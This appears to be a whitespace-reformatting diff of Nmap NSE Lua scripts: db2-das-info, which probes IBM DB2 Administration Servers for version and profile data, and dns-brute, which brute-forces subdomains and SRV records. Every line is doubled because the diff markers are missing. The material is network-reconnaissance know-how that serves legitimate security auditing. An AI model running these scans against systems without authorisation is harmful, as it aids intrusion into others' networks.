stdnse.print_debug( string.format("db2-das-info: total_len: %d", total_len))
end
if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: data_len: %d", packet.header.data_len) )
stdnse.print_debug( string.format("db2-das-info: buf_len: %d", buf:len()))
stdnse.print_debug( string.format("db2-das-info: total_len: %d", total_len))
end
-- do we have all data as specified by data_len?
while total_len > buf:len() do
-- if not read additional bytes
if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: Reading %d additional bytes", total_len - buf:len()))
end
local tmp = try( socket:receive_bytes( total_len - buf:len() ) )
if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: Read %d bytes", tmp:len()))
end
buf = buf .. tmp
end
-- do we have all data as specified by data_len?
while total_len > buf:len() do
-- if not read additional bytes
if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: Reading %d additional bytes", total_len - buf:len()))
end
local tmp = try( socket:receive_bytes( total_len - buf:len() ) )
if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: Read %d bytes", tmp:len()))
end
buf = buf .. tmp
end
packet.data = buf:sub(header_len + 1)
packet.data = buf:sub(header_len + 1)
else
stdnse.print_debug("db2-das-info: Unknown packet, aborting ...")
return
end
else
stdnse.print_debug("db2-das-info: Unknown packet, aborting ...")
return
end
return packet
return packet
end
@@ -234,16 +234,16 @@ end
--
function send_db2_packet( socket, packet )
local catch = function()
stdnse.print_debug("%s", "db2-das-info: ERROR communicating with DB2 server")
socket:close()
end
local catch = function()
stdnse.print_debug("%s", "db2-das-info: ERROR communicating with DB2 server")
socket:close()
end
local try = nmap.new_try(catch)
local try = nmap.new_try(catch)
local buf = packet.header.raw .. packet.data
local buf = packet.header.raw .. packet.data
try( socket:send(buf) )
try( socket:send(buf) )
end
@@ -261,172 +261,172 @@ end
--
function create_das_packet( magic, data )
local packet = {}
local data_len = data:len()
local packet = {}
local data_len = data:len()
packet.header = {}
packet.header = {}
packet.header.raw = string.char(0x00, 0x00, 0x00, 0x00, 0x44, 0x42, 0x32, 0x44, 0x41, 0x53, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20)
packet.header.raw = packet.header.raw .. string.char(0x01, 0x04, 0x00, 0x00, 0x00, 0x10, 0x39, 0x7a, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
packet.header.raw = packet.header.raw .. string.char(0x00, 0x00, 0x00, 0x00 )
packet.header.raw = packet.header.raw .. bin.pack("C", magic)
packet.header.raw = packet.header.raw .. bin.pack("S", data_len)
packet.header.raw = packet.header.raw .. string.char(0x00, 0x00)
packet.header.raw = string.char(0x00, 0x00, 0x00, 0x00, 0x44, 0x42, 0x32, 0x44, 0x41, 0x53, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20)
packet.header.raw = packet.header.raw .. string.char(0x01, 0x04, 0x00, 0x00, 0x00, 0x10, 0x39, 0x7a, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
packet.header.raw = packet.header.raw .. string.char(0x00, 0x00, 0x00, 0x00 )
packet.header.raw = packet.header.raw .. bin.pack("C", magic)
packet.header.raw = packet.header.raw .. bin.pack("S", data_len)
packet.header.raw = packet.header.raw .. string.char(0x00, 0x00)
packet.header.data_len = data_len
packet.data = data
packet.header.data_len = data_len
packet.data = data
return packet
return packet
end
action = function(host, port)
-- create the socket used for our connection
local socket = nmap.new_socket()
-- create the socket used for our connection
local socket = nmap.new_socket()
-- set a reasonable timeout value
socket:set_timeout(10000)
-- set a reasonable timeout value
socket:set_timeout(10000)
-- do some exception handling / cleanup
local catch = function()
stdnse.print_debug("%s", "db2-das-info: ERROR communicating with " .. host.ip .. " on port " .. port.number)
socket:close()
end
-- do some exception handling / cleanup
local catch = function()
stdnse.print_debug("%s", "db2-das-info: ERROR communicating with " .. host.ip .. " on port " .. port.number)
socket:close()
end
local try = nmap.new_try(catch)
local try = nmap.new_try(catch)
try(socket:connect(host, port))
try(socket:connect(host, port))
local query
local query
-- ************************************************************************************
-- Transaction block 1
-- ************************************************************************************
local data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x00)
-- ************************************************************************************
-- Transaction block 1
-- ************************************************************************************
local data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x00)
--try(socket:send(query))
local db2packet = create_das_packet(0x02, data)
--try(socket:send(query))
local db2packet = create_das_packet(0x02, data)
send_db2_packet( socket, db2packet )
read_db2_packet( socket )
send_db2_packet( socket, db2packet )
read_db2_packet( socket )
-- ************************************************************************************
-- Transaction block 2
-- ************************************************************************************
data = string.char(0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x08, 0x59, 0xe7, 0x1f, 0x4b, 0x79, 0xf0, 0x90, 0x72, 0x85, 0xe0, 0x8f)
data = data .. string.char(0x3e, 0x38, 0x45, 0x38, 0xe3, 0xe5, 0x12, 0xc4, 0x3b, 0xe9, 0x7d, 0xe2, 0xf5, 0xf0, 0x78, 0xcc)
data = data .. string.char(0x81, 0x6f, 0x87, 0x5f, 0x91)
-- ************************************************************************************
-- Transaction block 2
-- ************************************************************************************
data = string.char(0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x08, 0x59, 0xe7, 0x1f, 0x4b, 0x79, 0xf0, 0x90, 0x72, 0x85, 0xe0, 0x8f)
data = data .. string.char(0x3e, 0x38, 0x45, 0x38, 0xe3, 0xe5, 0x12, 0xc4, 0x3b, 0xe9, 0x7d, 0xe2, 0xf5, 0xf0, 0x78, 0xcc)
data = data .. string.char(0x81, 0x6f, 0x87, 0x5f, 0x91)
db2packet = create_das_packet(0x05, data)
db2packet = create_das_packet(0x05, data)
send_db2_packet( socket, db2packet )
read_db2_packet( socket )
send_db2_packet( socket, db2packet )
read_db2_packet( socket )
-- ************************************************************************************
-- Transaction block 3
-- ************************************************************************************
data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x01, 0x00, 0x00, 0x00)
data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x00, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53, 0x72, 0x76, 0x00)
-- ************************************************************************************
-- Transaction block 3
-- ************************************************************************************
data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x01, 0x00, 0x00, 0x00)
data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x00, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53, 0x72, 0x76, 0x00)
db2packet = create_das_packet(0x0a, data)
send_db2_packet( socket, db2packet )
read_db2_packet( socket )
db2packet = create_das_packet(0x0a, data)
send_db2_packet( socket, db2packet )
read_db2_packet( socket )
-- ************************************************************************************
-- Transaction block 4
-- ************************************************************************************
data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x01, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03)
data = data .. string.char(0x48, 0x00, 0x00, 0x00, 0x00, 0x4a, 0xfb, 0x42, 0x90, 0x00, 0x00, 0x24, 0x93, 0x00, 0x00, 0x00)
data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00)
data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53, 0x72, 0x76, 0x00, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x00, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x00)
-- ************************************************************************************
-- Transaction block 4
-- ************************************************************************************
data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x01, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03)
data = data .. string.char(0x48, 0x00, 0x00, 0x00, 0x00, 0x4a, 0xfb, 0x42, 0x90, 0x00, 0x00, 0x24, 0x93, 0x00, 0x00, 0x00)
data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00)
data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53, 0x72, 0x76, 0x00, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x00, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x00)
db2packet = create_das_packet(0x06, data)
send_db2_packet( socket, db2packet )
db2packet = create_das_packet(0x06, data)
send_db2_packet( socket, db2packet )
data = string.char( 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00)
data = data .. string.char(0x00, 0x04, 0xb8, 0x64, 0x62, 0x32, 0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73)
data = data .. string.char(0x63, 0x76, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00)
data = data .. string.char(0x00, 0x04, 0xb8, 0x64, 0x62, 0x32, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53)
data = data .. string.char(0x72, 0x76, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00)
data = data .. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00)
data = data .. string.char(0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00)
data = data .. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00)
data = data .. string.char(0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00, 0x00, 0x00, 0x01, 0x00)
data = data .. string.char(0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0c, 0x00)
data = data .. string.char(0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x18)
data = string.char( 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00)
data = data .. string.char(0x00, 0x04, 0xb8, 0x64, 0x62, 0x32, 0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73)
data = data .. string.char(0x63, 0x76, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00)
data = data .. string.char(0x00, 0x04, 0xb8, 0x64, 0x62, 0x32, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53)
data = data .. string.char(0x72, 0x76, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00)
data = data .. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00)
data = data .. string.char(0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00)
data = data .. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00)
data = data .. string.char(0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00, 0x00, 0x00, 0x01, 0x00)
data = data .. string.char(0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0c, 0x00)
data = data .. string.char(0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x18)
db2packet = create_das_packet(0x06, data)
send_db2_packet( socket, db2packet )
db2packet = create_das_packet(0x06, data)
send_db2_packet( socket, db2packet )
local packet = read_db2_packet( socket )
local db2response = parse_db2_packet(packet)
local packet = read_db2_packet( socket )
local db2response = parse_db2_packet(packet)
socket:close()
socket:close()
-- The next block of code is essentially the version extraction code from db2-info.nse
local server_version
if string.sub(db2response.version,1,3) == "SQL" then
local major_version = string.sub(db2response.version,4,5)
-- The next block of code is essentially the version extraction code from db2-info.nse
local server_version
if string.sub(db2response.version,1,3) == "SQL" then
local major_version = string.sub(db2response.version,4,5)
-- strip the leading 0 from the major version, for consistency with
-- nmap-service-probes results
if string.sub(major_version,1,1) == "0" then
major_version = string.sub(major_version,2)
end
local minor_version = string.sub(db2response.version,6,7)
local hotfix = string.sub(db2response.version,8)
server_version = major_version .. "." .. minor_version .. "." .. hotfix
end
-- strip the leading 0 from the major version, for consistency with
-- nmap-service-probes results
if string.sub(major_version,1,1) == "0" then
major_version = string.sub(major_version,2)
end
local minor_version = string.sub(db2response.version,6,7)
local hotfix = string.sub(db2response.version,8)
server_version = major_version .. "." .. minor_version .. "." .. hotfix
end
-- Try to determine which of the two values (probe version vs script) has more
-- precision. A couple DB2 versions send DB2 UDB 7.1 vs SQL090204 (9.02.04)
local _
local current_count = 0
if port.version.version ~= nil then
_, current_count = string.gsub(port.version.version, "%.", ".")
end
-- Try to determine which of the two values (probe version vs script) has more
-- precision. A couple DB2 versions send DB2 UDB 7.1 vs SQL090204 (9.02.04)
local _
local current_count = 0
if port.version.version ~= nil then
_, current_count = string.gsub(port.version.version, "%.", ".")
end
local new_count = 0
if server_version ~= nil then
_, new_count = string.gsub(server_version, "%.", ".")
end
local new_count = 0
if server_version ~= nil then
_, new_count = string.gsub(server_version, "%.", ".")
end
if current_count < new_count then
port.version.version = server_version
end
if current_count < new_count then
port.version.version = server_version
end
local result = false
local db2profile = extract_server_profile( db2response.info )
if (db2profile ~= nil ) then
result = "DB2 Administration Server Settings\r\n"
result = result .. extract_server_profile( db2response.info )
result = "DB2 Administration Server Settings\r\n"
result = result .. extract_server_profile( db2response.info )
-- Set port information
port.version.name = "ibm-db2"
port.version.product = "IBM DB2 Database Server"
port.version.name_confidence = 10
nmap.set_port_version(host, port)
nmap.set_port_state(host, port, "open")
end
-- Set port information
port.version.name = "ibm-db2"
port.version.product = "IBM DB2 Database Server"
port.version.name_confidence = 10
nmap.set_port_version(host, port)
nmap.set_port_state(host, port, "open")
end
return result
return result
end

View File

@@ -67,170 +67,170 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "discovery"}
prerule = function()
if not stdnse.get_script_args("dns-brute.domain") then
stdnse.print_debug(1,
"Skipping '%s' %s, 'dns-brute.domain' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE)
return false
end
return true
if not stdnse.get_script_args("dns-brute.domain") then
stdnse.print_debug(1,
"Skipping '%s' %s, 'dns-brute.domain' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE)
return false
end
return true
end
hostrule = function(host)
return true
return true
end
local function guess_domain(host)
local name
local name
name = stdnse.get_hostname(host)
if name and name ~= host.ip then
return string.match(name, "%.([^.]+%..+)%.?$") or string.match(name, "^([^.]+%.[^.]+)%.?$")
else
return nil
end
name = stdnse.get_hostname(host)
if name and name ~= host.ip then
return string.match(name, "%.([^.]+%..+)%.?$") or string.match(name, "^([^.]+%.[^.]+)%.?$")
else
return nil
end
end
-- Single DNS lookup, returning all results. dtype should be e.g. "A", "AAAA".
local function resolve(host, dtype)
local status, result = dns.query(host, {dtype=dtype,retAll=true})
return status and result or false
local status, result = dns.query(host, {dtype=dtype,retAll=true})
return status and result or false
end
local function array_iter(array, i, j)
return coroutine.wrap(function ()
while i <= j do
coroutine.yield(array[i])
i = i + 1
end
end)
return coroutine.wrap(function ()
while i <= j do
coroutine.yield(array[i])
i = i + 1
end
end)
end
local function thread_main(domainname, results, name_iter)
local condvar = nmap.condvar( results )
for name in name_iter do
for _, dtype in ipairs({"A", "AAAA"}) do
local res = resolve(name..'.'..domainname, dtype)
if(res) then
for _,addr in ipairs(res) do
local hostn = name..'.'..domainname
if target.ALLOW_NEW_TARGETS then
stdnse.print_debug("Added target: "..hostn)
local status,err = target.add(hostn)
end
stdnse.print_debug("Hostname: "..hostn.." IP: "..addr)
local record = { hostname=hostn, address=addr }
setmetatable(record, {
__tostring = function(t)
return string.format("%s - %s", t.hostname, t.address)
end
})
results[#results+1] = record
end
end
end
end
condvar("signal")
local condvar = nmap.condvar( results )
for name in name_iter do
for _, dtype in ipairs({"A", "AAAA"}) do
local res = resolve(name..'.'..domainname, dtype)
if(res) then
for _,addr in ipairs(res) do
local hostn = name..'.'..domainname
if target.ALLOW_NEW_TARGETS then
stdnse.print_debug("Added target: "..hostn)
local status,err = target.add(hostn)
end
stdnse.print_debug("Hostname: "..hostn.." IP: "..addr)
local record = { hostname=hostn, address=addr }
setmetatable(record, {
__tostring = function(t)
return string.format("%s - %s", t.hostname, t.address)
end
})
results[#results+1] = record
end
end
end
end
condvar("signal")
end
local function srv_main(domainname, srvresults, srv_iter)
local condvar = nmap.condvar( srvresults )
for name in srv_iter do
local res = resolve(name..'.'..domainname, "SRV")
if(res) then
for _,addr in ipairs(res) do
local hostn = name..'.'..domainname
addr = stdnse.strsplit(":",addr)
for _, dtype in ipairs({"A", "AAAA"}) do
local srvres = resolve(addr[4], dtype)
if(srvres) then
for srvhost,srvip in ipairs(srvres) do
if target.ALLOW_NEW_TARGETS then
stdnse.print_debug("Added target: "..srvip)
local status,err = target.add(srvip)
end
stdnse.print_debug("Hostname: "..hostn.." IP: "..srvip)
local record = { hostname=hostn, address=srvip }
setmetatable(record, {
__tostring = function(t)
return string.format("%s - %s", t.hostname, t.address)
end
})
srvresults[#srvresults+1] = record
end
end
end
end
end
end
condvar("signal")
local condvar = nmap.condvar( srvresults )
for name in srv_iter do
local res = resolve(name..'.'..domainname, "SRV")
if(res) then
for _,addr in ipairs(res) do
local hostn = name..'.'..domainname
addr = stdnse.strsplit(":",addr)
for _, dtype in ipairs({"A", "AAAA"}) do
local srvres = resolve(addr[4], dtype)
if(srvres) then
for srvhost,srvip in ipairs(srvres) do
if target.ALLOW_NEW_TARGETS then
stdnse.print_debug("Added target: "..srvip)
local status,err = target.add(srvip)
end
stdnse.print_debug("Hostname: "..hostn.." IP: "..srvip)
local record = { hostname=hostn, address=srvip }
setmetatable(record, {
__tostring = function(t)
return string.format("%s - %s", t.hostname, t.address)
end
})
srvresults[#srvresults+1] = record
end
end
end
end
end
end
condvar("signal")
end
action = function(host)
local domainname = stdnse.get_script_args('dns-brute.domain')
if not domainname then
domainname = guess_domain(host)
end
if not domainname then
return string.format("Can't guess domain of \"%s\"; use %s.domain script argument.", stdnse.get_hostname(host), SCRIPT_NAME)
end
local domainname = stdnse.get_script_args('dns-brute.domain')
if not domainname then
domainname = guess_domain(host)
end
if not domainname then
return string.format("Can't guess domain of \"%s\"; use %s.domain script argument.", stdnse.get_hostname(host), SCRIPT_NAME)
end
if not nmap.registry.bruteddomains then
nmap.registry.bruteddomains = {}
end
if not nmap.registry.bruteddomains then
nmap.registry.bruteddomains = {}
end
if nmap.registry.bruteddomains[domainname] then
stdnse.print_debug("Skipping already-bruted domain %s", domainname)
return nil
end
if nmap.registry.bruteddomains[domainname] then
stdnse.print_debug("Skipping already-bruted domain %s", domainname)
return nil
end
nmap.registry.bruteddomains[domainname] = true
stdnse.print_debug("Starting dns-brute at: "..domainname)
local max_threads = stdnse.get_script_args('dns-brute.threads') and tonumber( stdnse.get_script_args('dns-brute.threads') ) or 5
local dosrv = stdnse.get_script_args("dns-brute.srv") or false
stdnse.print_debug("THREADS: "..max_threads)
-- First look for dns-brute.hostlist
local fileName = stdnse.get_script_args('dns-brute.hostlist')
-- Check fetchfile locations, then relative paths
local commFile = (fileName and nmap.fetchfile(fileName)) or fileName
-- Finally, fall back to vhosts-default.lst
commFile = commFile or nmap.fetchfile("nselib/data/vhosts-default.lst")
local hostlist = {}
if commFile then
for l in io.lines(commFile) do
if not l:match("#!comment:") then
table.insert(hostlist, l)
end
end
else
stdnse.print_debug(1, "%s: Cannot find hostlist file, quitting", SCRIPT_NAME)
return
end
nmap.registry.bruteddomains[domainname] = true
stdnse.print_debug("Starting dns-brute at: "..domainname)
local max_threads = stdnse.get_script_args('dns-brute.threads') and tonumber( stdnse.get_script_args('dns-brute.threads') ) or 5
local dosrv = stdnse.get_script_args("dns-brute.srv") or false
stdnse.print_debug("THREADS: "..max_threads)
-- First look for dns-brute.hostlist
local fileName = stdnse.get_script_args('dns-brute.hostlist')
-- Check fetchfile locations, then relative paths
local commFile = (fileName and nmap.fetchfile(fileName)) or fileName
-- Finally, fall back to vhosts-default.lst
commFile = commFile or nmap.fetchfile("nselib/data/vhosts-default.lst")
local hostlist = {}
if commFile then
for l in io.lines(commFile) do
if not l:match("#!comment:") then
table.insert(hostlist, l)
end
end
else
stdnse.print_debug(1, "%s: Cannot find hostlist file, quitting", SCRIPT_NAME)
return
end
local threads, results, srvresults = {}, {}, {}
local condvar = nmap.condvar( results )
local i = 1
local howmany = math.floor(#hostlist/max_threads)+1
stdnse.print_debug("Hosts per thread: "..howmany)
repeat
local j = math.min(i+howmany, #hostlist)
local name_iter = array_iter(hostlist, i, j)
threads[stdnse.new_thread(thread_main, domainname, results, name_iter)] = true
i = j+1
until i > #hostlist
local done
-- wait for all threads to finish
while( not(done) ) do
done = true
for thread in pairs(threads) do
if (coroutine.status(thread) ~= "dead") then done = false end
end
if ( not(done) ) then
condvar("wait")
end
end
local threads, results, srvresults = {}, {}, {}
local condvar = nmap.condvar( results )
local i = 1
local howmany = math.floor(#hostlist/max_threads)+1
stdnse.print_debug("Hosts per thread: "..howmany)
repeat
local j = math.min(i+howmany, #hostlist)
local name_iter = array_iter(hostlist, i, j)
threads[stdnse.new_thread(thread_main, domainname, results, name_iter)] = true
i = j+1
until i > #hostlist
local done
-- wait for all threads to finish
while( not(done) ) do
done = true
for thread in pairs(threads) do
if (coroutine.status(thread) ~= "dead") then done = false end
end
if ( not(done) ) then
condvar("wait")
end
end
if(dosrv) then
if(dosrv) then
-- First look for dns-brute.srvlist
fileName = stdnse.get_script_args('dns-brute.srvlist')
-- Check fetchfile locations, then relative paths
@@ -245,44 +245,44 @@ action = function(host)
end
end
i = 1
threads = {}
howmany = math.floor(#srvlist/max_threads)+1
condvar = nmap.condvar( srvresults )
stdnse.print_debug("SRV's per thread: "..howmany)
repeat
local j = math.min(i+howmany, #srvlist)
local name_iter = array_iter(srvlist, i, j)
threads[stdnse.new_thread(srv_main, domainname, srvresults, name_iter)] = true
i = j+1
until i > #srvlist
local done
-- wait for all threads to finish
while( not(done) ) do
done = true
for thread in pairs(threads) do
if (coroutine.status(thread) ~= "dead") then done = false end
end
if ( not(done) ) then
condvar("wait")
end
end
i = 1
threads = {}
howmany = math.floor(#srvlist/max_threads)+1
condvar = nmap.condvar( srvresults )
stdnse.print_debug("SRV's per thread: "..howmany)
repeat
local j = math.min(i+howmany, #srvlist)
local name_iter = array_iter(srvlist, i, j)
threads[stdnse.new_thread(srv_main, domainname, srvresults, name_iter)] = true
i = j+1
until i > #srvlist
local done
-- wait for all threads to finish
while( not(done) ) do
done = true
for thread in pairs(threads) do
if (coroutine.status(thread) ~= "dead") then done = false end
end
if ( not(done) ) then
condvar("wait")
end
end
else
stdnse.print_debug(1, "%s: Cannot find srvlist file, skipping", SCRIPT_NAME)
end
end
end
local response = stdnse.output_table()
if(#results==0) then
setmetatable(results, { __tostring = function(t) return "No results." end })
end
response["DNS Brute-force hostnames"] = results
if(dosrv) then
if(#srvresults==0) then
setmetatable(srvresults, { __tostring = function(t) return "No results." end })
end
response["SRV results"] = srvresults
end
return response
local response = stdnse.output_table()
if(#results==0) then
setmetatable(results, { __tostring = function(t) return "No results." end })
end
response["DNS Brute-force hostnames"] = results
if(dosrv) then
if(#srvresults==0) then
setmetatable(srvresults, { __tostring = function(t) return "No results." end })
end
response["SRV results"] = srvresults
end
return response
end

View File

@@ -59,392 +59,392 @@ hostrule = function(host) return ( arg_domain ~= nil ) end
local PROBE_HOST = "scanme.nmap.org"
local Status = {
PASS = "PASS",
FAIL = "FAIL",
PASS = "PASS",
FAIL = "FAIL",
}
local function isValidSOA(res)
if ( not(res) or type(res.answers) ~= "table" or type(res.answers[1].SOA) ~= "table" ) then
return false
end
return true
if ( not(res) or type(res.answers) ~= "table" or type(res.answers[1].SOA) ~= "table" ) then
return false
end
return true
end
local dns_checks = {
["NS"] = {
{
